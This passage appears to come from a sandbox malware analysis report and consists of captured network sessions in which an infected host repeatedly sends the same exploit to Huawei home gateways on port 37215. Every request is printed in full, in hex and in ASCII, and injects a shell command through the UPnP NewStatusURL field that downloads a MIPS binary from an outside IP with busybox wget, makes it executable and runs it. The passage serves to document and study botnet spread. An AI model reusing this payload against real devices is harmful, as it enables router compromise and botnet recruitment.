xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:57.743731022 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.23	56740	156.254.43.161	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:16:40.087943077 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:41.649991989 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:43.473751068 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:47.249255896 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:54.672173023 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:17:09.262196064 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.23	45492	156.224.9.47	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:16:40.088047028 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:41.650002956 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
